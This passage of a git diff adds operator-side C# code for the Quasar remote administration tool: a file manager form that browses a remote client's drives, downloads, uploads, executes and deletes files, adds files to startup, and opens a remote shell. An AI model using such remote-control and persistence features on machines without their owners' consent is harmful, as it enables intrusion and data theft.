this.TabControlFileManager.Size = new System.Drawing.Size(1072, 572); + this.TabControlFileManager.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.TabControlFileManager.TabIndex = 5; + // + // tabFileExplorer + // + this.tabFileExplorer.BackColor = System.Drawing.SystemColors.Control; + this.tabFileExplorer.Controls.Add(this.btnRefresh); + this.tabFileExplorer.Controls.Add(this.lblPath); + this.tabFileExplorer.Controls.Add(this.txtPath); + this.tabFileExplorer.Controls.Add(this.lstDirectory); + this.tabFileExplorer.Controls.Add(this.lblDrive); + this.tabFileExplorer.Controls.Add(this.cmbDrives); + this.tabFileExplorer.Location = new System.Drawing.Point(140, 4); + this.tabFileExplorer.Margin = new System.Windows.Forms.Padding(4); + this.tabFileExplorer.Name = "tabFileExplorer"; + this.tabFileExplorer.Padding = new System.Windows.Forms.Padding(4); + this.tabFileExplorer.Size = new System.Drawing.Size(928, 564); + this.tabFileExplorer.TabIndex = 0; + this.tabFileExplorer.Text = "File Explorer"; + // + // btnRefresh + // + this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnRefresh.Image = global::Quasar.Server.Properties.Resources.refresh; + this.btnRefresh.ImageAlign = System.Drawing.ContentAlignment.BottomCenter; + this.btnRefresh.Location = new System.Drawing.Point(852, 10); + this.btnRefresh.Margin = new System.Windows.Forms.Padding(4); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(28, 28); + this.btnRefresh.TabIndex = 5; + this.btnRefresh.UseVisualStyleBackColor = true; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // lblPath + // + this.lblPath.AutoSize = true; + this.lblPath.Location = new System.Drawing.Point(349, 15); + this.lblPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPath.Name = "lblPath"; + this.lblPath.Size = new System.Drawing.Size(91, 19); + this.lblPath.TabIndex = 4; + this.lblPath.Text = "Remote Path:"; + // + // txtPath + // + this.txtPath.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtPath.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtPath.Location = new System.Drawing.Point(450, 10); + this.txtPath.Margin = new System.Windows.Forms.Padding(4); + this.txtPath.Name = "txtPath"; + this.txtPath.ReadOnly = true; + this.txtPath.Size = new System.Drawing.Size(403, 26); + this.txtPath.TabIndex = 3; + this.txtPath.Text = "\\"; + // + // lstDirectory + // + this.lstDirectory.AllowDrop = true; + this.lstDirectory.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstDirectory.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hSize, + this.hType}); + this.lstDirectory.ContextMenuStrip = this.contextMenuStripDirectory; + this.lstDirectory.ForeColor = System.Drawing.Color.White; + this.lstDirectory.FullRowSelect = true; + this.lstDirectory.GridLines = true; + this.lstDirectory.HideSelection = false; + this.lstDirectory.Location = new System.Drawing.Point(10, 44); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstDirectory.LvwColumnSorter = listViewColumnSorter1; + this.lstDirectory.Margin = new System.Windows.Forms.Padding(4); + this.lstDirectory.Name = "lstDirectory"; + this.lstDirectory.Size = new System.Drawing.Size(874, 508); + this.lstDirectory.SmallImageList = this.imgListDirectory; + this.lstDirectory.TabIndex = 2; + this.lstDirectory.UseCompatibleStateImageBehavior = false; + this.lstDirectory.View = System.Windows.Forms.View.Details; + this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick); + this.lstDirectory.DragDrop += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragDrop); + this.lstDirectory.DragEnter += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragEnter); + this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 360; + // + // hSize + // + this.hSize.Text = "Size"; + this.hSize.Width = 125; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 168; + // + // lblDrive + // + this.lblDrive.AutoSize = true; + this.lblDrive.Location = new System.Drawing.Point(10, 15); + this.lblDrive.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDrive.Name = "lblDrive"; + this.lblDrive.Size = new System.Drawing.Size(44, 19); + this.lblDrive.TabIndex = 0; + this.lblDrive.Text = "Drive:"; + // + // cmbDrives + // + this.cmbDrives.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbDrives.FormattingEnabled = true; + this.cmbDrives.Location = new System.Drawing.Point(62, 10); + this.cmbDrives.Margin = new System.Windows.Forms.Padding(4); + this.cmbDrives.Name = "cmbDrives"; + this.cmbDrives.Size = new System.Drawing.Size(264, 27); + this.cmbDrives.TabIndex = 1; + this.cmbDrives.SelectedIndexChanged += new System.EventHandler(this.cmbDrives_SelectedIndexChanged); + // + // tabTransfers + // + this.tabTransfers.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(45)))), ((int)(((byte)(45)))), ((int)(((byte)(48))))); + this.tabTransfers.Controls.Add(this.btnOpenDLFolder); + this.tabTransfers.Controls.Add(this.lstTransfers); + this.tabTransfers.Location = new System.Drawing.Point(140, 4); + this.tabTransfers.Margin = new System.Windows.Forms.Padding(4); + this.tabTransfers.Name = "tabTransfers"; + this.tabTransfers.Padding = new System.Windows.Forms.Padding(4); + this.tabTransfers.Size = new System.Drawing.Size(928, 564); + this.tabTransfers.TabIndex = 1; + this.tabTransfers.Text = "Transfers"; + // + // btnOpenDLFolder + // + this.btnOpenDLFolder.Location = new System.Drawing.Point(10, 10); + this.btnOpenDLFolder.Margin = new System.Windows.Forms.Padding(4); + this.btnOpenDLFolder.Name = "btnOpenDLFolder"; + this.btnOpenDLFolder.Size = new System.Drawing.Size(181, 26); + this.btnOpenDLFolder.TabIndex = 0; + this.btnOpenDLFolder.Text = "&Open Download Folder"; + this.btnOpenDLFolder.UseVisualStyleBackColor = true; + this.btnOpenDLFolder.Click += new System.EventHandler(this.btnOpenDLFolder_Click); + // + // lstTransfers + // + this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hID, + this.hTransferType, + this.hStatus, + this.hFilename}); + this.lstTransfers.ContextMenuStrip = this.contextMenuStripTransfers; + this.lstTransfers.FullRowSelect = true; + this.lstTransfers.GridLines = true; + this.lstTransfers.HideSelection = false; + this.lstTransfers.Location = new System.Drawing.Point(10, 44); + listViewColumnSorter2.NeedNumberCompare = false; + listViewColumnSorter2.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter2.SortColumn = 0; + this.lstTransfers.LvwColumnSorter = listViewColumnSorter2; + this.lstTransfers.Margin = new System.Windows.Forms.Padding(4); + this.lstTransfers.Name = "lstTransfers"; + this.lstTransfers.Size = new System.Drawing.Size(872, 510); + this.lstTransfers.SmallImageList = this.imgListTransfers; + this.lstTransfers.TabIndex = 1; + this.lstTransfers.UseCompatibleStateImageBehavior = false; + this.lstTransfers.View = System.Windows.Forms.View.Details; + // + // hID + // + this.hID.Text = "ID"; + this.hID.Width = 128; + // + // hTransferType + // + this.hTransferType.Text = "Transfer Type"; + this.hTransferType.Width = 93; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 173; + // + // hFilename + // + this.hFilename.Text = "Filename"; + this.hFilename.Width = 289; + // + // FrmFileManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1072, 598); + this.Controls.Add(this.TabControlFileManager); + this.Controls.Add(this.statusStrip); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(824, 459); + this.Name = "FrmFileManager"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "File Manager []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmFileManager_FormClosing); + this.Load += new System.EventHandler(this.FrmFileManager_Load); + this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.FrmFileManager_KeyDown); + this.contextMenuStripDirectory.ResumeLayout(false); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.contextMenuStripTransfers.ResumeLayout(false); + this.TabControlFileManager.ResumeLayout(false); + this.tabFileExplorer.ResumeLayout(false); + this.tabFileExplorer.PerformLayout(); + this.tabTransfers.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label lblDrive; + private System.Windows.Forms.ImageList imgListDirectory; + private System.Windows.Forms.ColumnHeader hName; + private System.Windows.Forms.ColumnHeader hSize; + private System.Windows.Forms.ColumnHeader hType; + private System.Windows.Forms.ContextMenuStrip contextMenuStripDirectory; + private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem; + private System.Windows.Forms.Button btnOpenDLFolder; + private DotNetBarTabControl TabControlFileManager; + private System.Windows.Forms.TabPage tabFileExplorer; + private System.Windows.Forms.TabPage tabTransfers; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.ColumnHeader hFilename; + private System.Windows.Forms.ColumnHeader hID; + private System.Windows.Forms.ImageList imgListTransfers; + private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator line3ToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator line2ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem addToStartupToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem quickNavigateToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navDesktopToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navDownloadsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navDocumentsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navAppDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navLocalAppDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navProgramDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navProgramFilesToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navProgramFilesX86ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navStartupToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navTempToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem navWindowsToolStripMenuItem; + private System.Windows.Forms.ContextMenuStrip contextMenuStripTransfers; + private System.Windows.Forms.ToolStripMenuItem cancelToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem openDirectoryInShellToolStripMenuItem; + private System.Windows.Forms.ComboBox cmbDrives; + private AeroListView lstDirectory; + private AeroListView lstTransfers; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripMenuItem clearToolStripMenuItem; + private System.Windows.Forms.ToolStripStatusLabel stripLblStatus; + private System.Windows.Forms.Label lblPath; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.Button btnRefresh; + private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem cutToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator lineCopyPasteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hTransferType; + private System.Windows.Forms.ToolStripSeparator toolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem previewToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator line4ToolStripMenuItem; + } +} + + + diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs new file mode 100755 index 0000000..18c3df7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs @@ -0,0 +1,854 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Controls; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using Process = System.Diagnostics.Process; + +namespace Quasar.Server.Forms +{ + public partial class FrmFileManager : Form + { + /// + /// The current remote directory shown in the file manager. + /// + private string _currentDir; + + /// + /// The client which can be used for the file manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + /// + /// Clipboard for copy/cut operations - stores file paths and their types + /// + private List _clipboardFiles; + + /// + /// Indicates whether the clipboard operation is a cut (move) operation + /// + private bool _isCutOperation; + + private class ClipboardItem + { + public string Path { get; set; } + public FileType Type { get; set; } + } + + private enum TransferColumn + { + Id, + Type, + Status, + } + + /// + /// Holds the opened file manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new file manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the file manager form. + /// + /// Returns a new file manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmFileManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmFileManager f = new FrmFileManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the file manager form. + public FrmFileManager(Client client) + { + _connectClient = client; + + _fileManagerHandler = new FileManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the file manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _fileManagerHandler.ProgressChanged += SetStatusMessage; + _fileManagerHandler.DrivesChanged += DrivesChanged; + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + /// Unregisters the file manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= SetStatusMessage; + _fileManagerHandler.DrivesChanged -= DrivesChanged; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever drives changed. + /// + /// The message handler which raised the event. + /// The currently available drives. + private void DrivesChanged(object sender, Drive[] drives) + { + cmbDrives.Items.Clear(); + cmbDrives.DisplayMember = "DisplayName"; + cmbDrives.ValueMember = "RootDirectory"; + cmbDrives.DataSource = new BindingSource(drives, null); + + SetStatusMessage(this, "Ready"); + } + + /// + /// Called whenever a directory changed. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + txtPath.Text = remotePath; + _currentDir = remotePath; + + lstDirectory.Items.Clear(); + + AddItemToFileBrowser("..", 0, FileType.Back, 0); + foreach (var item in items) + { + switch (item.EntryType) + { + case FileType.Directory: + AddItemToFileBrowser(item.Name, 0, item.EntryType, 1); + break; + case FileType.File: + int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType; + AddItemToFileBrowser(item.Name, item.Size, item.EntryType, imageIndex); + break; + } + } + + SetStatusMessage(this, "Ready"); + } + + /// + /// Gets the image index of completed or canceled file transfers. + /// + /// File transfer status used to determine the image index. + /// The image index of the file transfer, default -1. + private int GetTransferImageIndex(string status) + { + int imageIndex = -1; + switch (status) + { + case "Completed": + imageIndex = 1; + break; + case "Canceled": + imageIndex = 0; + break; + } + + return imageIndex; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + // Check if this is a preview transfer + if (transfer.LocalPath.Contains("_preview_") && transfer.Status == "Completed") + { + try + { + // Show the image in a preview form + ShowImagePreview(transfer.LocalPath, transfer.RemotePath); + SetStatusMessage(this, "Ready"); + return; + } + catch (Exception ex) + { + MessageBox.Show("Failed to load image preview: " + ex.Message, "Preview Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + SetStatusMessage(this, "Ready"); + } + } + + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString()) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status; + lstTransfers.Items[i].ImageIndex = GetTransferImageIndex(transfer.Status); + return; + } + } + + // Don't show preview transfers in the transfer list + if (transfer.LocalPath.Contains("_preview_")) + return; + + var lvi = new ListViewItem(new[] + {transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath}) + {Tag = transfer, ImageIndex = GetTransferImageIndex(transfer.Status)}; + + lstTransfers.Items.Add(lvi); + } + + private void ShowImagePreview(string localPath, string remotePath) + { + // Create a preview form with better layout + var previewForm = new Form + { + Text = "Image Preview - " + Path.GetFileName(remotePath), + Size = new System.Drawing.Size(900, 700), + StartPosition = FormStartPosition.CenterParent, + FormBorderStyle = FormBorderStyle.Sizable, + MinimizeBox = true, + MaximizeBox = true, + MinimumSize = new System.Drawing.Size(400, 300) + }; + + // Create a panel for the image + var panel = new Panel + { + Dock = DockStyle.Fill, + AutoScroll = true, + BackColor = System.Drawing.Color.FromArgb(30, 30, 30) + }; + + var pictureBox = new PictureBox + { + SizeMode = PictureBoxSizeMode.Zoom, + Dock = DockStyle.Fill + }; + + try + { + pictureBox.Image = System.Drawing.Image.FromFile(localPath); + } + catch (Exception ex) + { + MessageBox.Show("Failed to load image: " + ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + previewForm.Dispose(); + try { File.Delete(localPath); } catch { } + return; + } + + // Create a status bar with image info + var statusStrip = new StatusStrip(); + var statusLabel = new ToolStripStatusLabel(); + + if (pictureBox.Image != null) + { + var img = pictureBox.Image; + var fileInfo = new FileInfo(localPath); + statusLabel.Text = $"Size: {img.Width}x{img.Height} | File Size: {StringHelper.GetHumanReadableFileSize(fileInfo.Length)} | Format: {img.RawFormat}"; + } + + statusStrip.Items.Add(statusLabel); + + panel.Controls.Add(pictureBox); + previewForm.Controls.Add(panel); + previewForm.Controls.Add(statusStrip); + + previewForm.FormClosed += (s, e) => + { + pictureBox.Image?.Dispose(); + try { File.Delete(localPath); } catch { } + }; + + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(previewForm); } + ThemeManager.ApplyThemeToNewForm(previewForm); + + previewForm.Show(); + } + + /// + /// Combines the current path with the new path. + /// + /// The path to combine with. + /// The absolute combined path. + private string GetAbsolutePath(string path) + { + if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes + { + if (_currentDir.Length == 1) + return Path.Combine(_currentDir, path); + else + return Path.Combine(_currentDir + '/', path); + } + + return Path.GetFullPath(Path.Combine(_currentDir, path)); + } + + /// + /// Navigates one directory up in the hierarchical directory tree. + /// + /// The new directory path. + private string NavigateUp() + { + if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes + { + if (_currentDir.LastIndexOf('/') > 0) + { + _currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1); + _currentDir = _currentDir.TrimEnd('/'); + } + else + _currentDir = "/"; + + return _currentDir; + } + else + return GetAbsolutePath(@"..\"); + } + + private void FrmFileManager_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); + _fileManagerHandler.RefreshDrives(); + } + + private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _fileManagerHandler.Dispose(); + } + + private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e) + { + SwitchDirectory(cmbDrives.SelectedValue.ToString()); + } + + private void lstDirectory_DoubleClick(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count > 0) + { + FileManagerListTag tag = (FileManagerListTag) lstDirectory.SelectedItems[0].Tag; + + switch (tag.Type) + { + case FileType.Back: + SwitchDirectory(NavigateUp()); + break; + case FileType.Directory: + SwitchDirectory(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); + break; + } + } + } + + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstDirectory.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + if (tag.Type == FileType.File) + { + string remotePath = GetAbsolutePath(files.SubItems[0].Text); + + _fileManagerHandler.BeginDownloadFile(remotePath); + } + } + } + + private void uploadToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.Title = "Select files to upload"; + ofd.Filter = "All files (*.*)|*.*"; + ofd.Multiselect = true; + + if (ofd.ShowDialog() == DialogResult.OK) + { + foreach (var localFilePath in ofd.FileNames) + { + if (!File.Exists(localFilePath)) continue; + + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); + } + } + } + } + + private void executeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag) files.Tag; + + if (tag.Type == FileType.File) + { + string remotePath = GetAbsolutePath(files.SubItems[0].Text); + + _fileManagerHandler.StartProcess(remotePath); + } + } + } + + private void renameToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + switch (tag.Type) + { + case FileType.Directory: + case FileType.File: + string path = GetAbsolutePath(files.SubItems[0].Text); + string newName = files.SubItems[0].Text; + + if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK) + { + newName = GetAbsolutePath(newName); + _fileManagerHandler.RenameFile(path, newName, tag.Type); + } + break; + } + } + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + int count = lstDirectory.SelectedItems.Count; + if (count == 0) return; + if (MessageBox.Show(string.Format("Are you sure you want to delete {0} file(s)?", count), + "Delete Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + switch (tag.Type) + { + case FileType.Directory: + case FileType.File: + string path = GetAbsolutePath(files.SubItems[0].Text); + _fileManagerHandler.DeleteFile(path, tag.Type); + break; + } + } + } + } + + private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + if (tag.Type == FileType.File) + { + string path = GetAbsolutePath(files.SubItems[0].Text); + + using (var frm = new FrmStartupAdd(path)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _fileManagerHandler.AddToStartup(frm.StartupItem); + } + } + } + } + } + + private void quickNavigate_Click(object sender, EventArgs e) + { + var menuItem = sender as ToolStripMenuItem; + if (menuItem == null) return; + + string targetPath = ""; + + switch (menuItem.Name) + { + case "navDesktopToolStripMenuItem": + targetPath = "%USERPROFILE%\\Desktop"; + break; + case "navDownloadsToolStripMenuItem": + targetPath = "%USERPROFILE%\\Downloads"; + break; + case "navDocumentsToolStripMenuItem": + targetPath = "%USERPROFILE%\\Documents"; + break; + case "navAppDataToolStripMenuItem": + targetPath = "%APPDATA%"; + break; + case "navLocalAppDataToolStripMenuItem": + targetPath = "%LOCALAPPDATA%"; + break; + case "navProgramDataToolStripMenuItem": + targetPath = "%PROGRAMDATA%"; + break; + case "navProgramFilesToolStripMenuItem": + targetPath = "%PROGRAMFILES%"; + break; + case "navProgramFilesX86ToolStripMenuItem": + targetPath = "%PROGRAMFILES(X86)%"; + break; + case "navStartupToolStripMenuItem": + targetPath = "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"; + break; + case "navTempToolStripMenuItem": + targetPath = "%TEMP%"; + break; + case "navWindowsToolStripMenuItem": + targetPath = "%WINDIR%"; + break; + } + + if (!string.IsNullOrEmpty(targetPath)) + { + _fileManagerHandler.GetDirectoryContents(targetPath); + } + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + RefreshDirectory(); + } + + private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) + { + string path = _currentDir; + if (lstDirectory.SelectedItems.Count == 1) + { + var item = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)item.Tag; + + if (tag.Type == FileType.Directory) + { + path = GetAbsolutePath(item.SubItems[0].Text); + } + } + + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient); + frmRs.Show(); + frmRs.Focus(); + var driveLetter = Path.GetPathRoot(path); + frmRs.RemoteShellHandler.SendCommand($"{driveLetter.Remove(driveLetter.Length - 1)} && cd \"{path}\""); + } + + private void btnOpenDLFolder_Click(object sender, EventArgs e) + { + if (!Directory.Exists(_connectClient.Value.DownloadDirectory)) + Directory.CreateDirectory(_connectClient.Value.DownloadDirectory); + + Process.Start(_connectClient.Value.DownloadDirectory); + } + + private void contextMenuStripDirectory_Opening(object sender, System.ComponentModel.CancelEventArgs e) + { + bool isImageFile = false; + + if (lstDirectory.SelectedItems.Count == 1) + { + var selectedItem = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)selectedItem.Tag; + isImageFile = tag.Type == FileType.File && IsImageFile(selectedItem.SubItems[0].Text); + } + + previewToolStripMenuItem.Visible = isImageFile; + line4ToolStripMenuItem.Visible = isImageFile; + + // Enable/disable paste based on clipboard state + pasteToolStripMenuItem.Enabled = _clipboardFiles != null && _clipboardFiles.Count > 0; + } + + private void copyToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count == 0) return; + + _clipboardFiles = new List(); + _isCutOperation = false; + + foreach (ListViewItem item in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)item.Tag; + if (tag.Type != FileType.Back) + { + string path = GetAbsolutePath(item.SubItems[0].Text); + _clipboardFiles.Add(new ClipboardItem { Path = path, Type = tag.Type }); + } + } + + SetStatusMessage(this, $"Copied {_clipboardFiles.Count} item(s) to clipboard"); + } + + private void cutToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count == 0) return; + + _clipboardFiles = new List(); + _isCutOperation = true; + + foreach (ListViewItem item in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)item.Tag; + if (tag.Type != FileType.Back) + { + string path = GetAbsolutePath(item.SubItems[0].Text); + _clipboardFiles.Add(new ClipboardItem { Path = path, Type = tag.Type }); + } + } + + SetStatusMessage(this, $"Cut {_clipboardFiles.Count} item(s) to clipboard"); + } + + private void pasteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (_clipboardFiles == null || _clipboardFiles.Count == 0) + { + MessageBox.Show("Clipboard is empty.", "Paste", MessageBoxButtons.OK, MessageBoxIcon.Information); + return; + } + + string destinationDir = _currentDir; + + foreach (var item in _clipboardFiles) + { + string fileName = Path.GetFileName(item.Path); + string destinationPath = Path.Combine(destinationDir, fileName); + + if (_isCutOperation) + { + // Move operation (cut) - use rename which is essentially a move + _fileManagerHandler.RenameFile(item.Path, destinationPath, item.Type); + } + else + { + // Copy operation - use the new CopyFile method + _fileManagerHandler.CopyFile(item.Path, 